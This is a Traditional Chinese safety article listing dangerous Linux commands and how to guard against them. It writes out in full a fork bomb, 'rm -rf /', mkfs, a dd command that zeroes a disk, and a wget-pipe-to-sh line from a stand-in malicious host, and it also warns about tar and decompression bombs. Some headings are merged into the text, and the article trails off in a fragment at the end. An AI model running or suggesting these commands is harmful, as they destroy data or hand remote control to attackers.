Linux 指令威力強大,但也隱藏毀滅性風險。本文彙整 9 類極度危險的指令模式,解析其破壞機制與防範原則。警告:請勿在生產或重要環境嘗試驗證!
:(){ :|:& };:經典 Bash 函數炸彈。執行後無限自我複製產生子進程,瞬間耗盡系統進程表導致系統凍結,唯有硬體重啟恢復。絕對禁止在任何非隔離測試環境執行。
mv 目錄 /dev/null/dev/null 是資料黑洞,寫入即消失。將目錄移動至此等同永久刪除所有資料,且無提示、無法復原。
rm -rf 變體| 指令 | 破壞範圍 |
|---|---|
rm -rf / | 強制刪除根目錄下所有檔案 (含掛載點),系統徹底毀損 |
rm -rf * | 刪除當前目錄所有內容 (含隱藏檔) |
rm -rf . | 刪除當前目錄及所有子目錄內容 |
rm -r .[^.]* | 刪除所有隱藏檔/目錄 (含上層目錄連結,極危險) |
鐵律:執行 rm -rf 前必須 pwd 確認路徑、ls 確認目標、備份關鍵資料。
mkfs 系列mkfs、mkfs.ext4、mkfs.xfs、mkfs.vfat 等會將指定裝置格式化為空檔案系統,資料永久無法復原。僅在全新磁碟或確認資料已備份時使用。
惡意製作的 .tar 壓縮包解壓時,將大量同名檔案直接釋放到當前目錄而非子目錄,覆蓋現有檔案、污染工作環境。
防範:解壓前先建立專用目錄 mkdir safe && cd safe,再解壓檢查再移動。
dd 指令dd if=/dev/zero of=/dev/sda # 將整顆硬碟清零,資料永久銷毀
dd if=/dev/sda of=/dev/sdb # 整碟複製,若反向執行同樣災難
dd 無提示、無回收桶、進度條模糊,輸入 of 目標裝置前必須三次確認。
wget https://惡意來源 -O- | sh
下載並直接管線執行腳本,相當於授予遠端完整 Shell 控制權。絕不執行未經審閱的遠端腳本。
大型開源專案中夾帶惡意碼編譯安裝,等同授予 root 權限執行任意碼。
原則:僅編譯可信來源 (官方倉庫、知名維護者簽名釋出) 的原始碼。
極小壓縮檔 (KB 級) 實含高度壓縮的海量資料 (GB/TB 級),解壓瞬間填滿磁碟導致系統掛起。
防範:不解壓不明來源壓縮檔;使用 ls -lh 壓縮檔 先檢查壓縮比異常 (如 >1000:1)。
sudo 提權man 指令 或測試環境驗證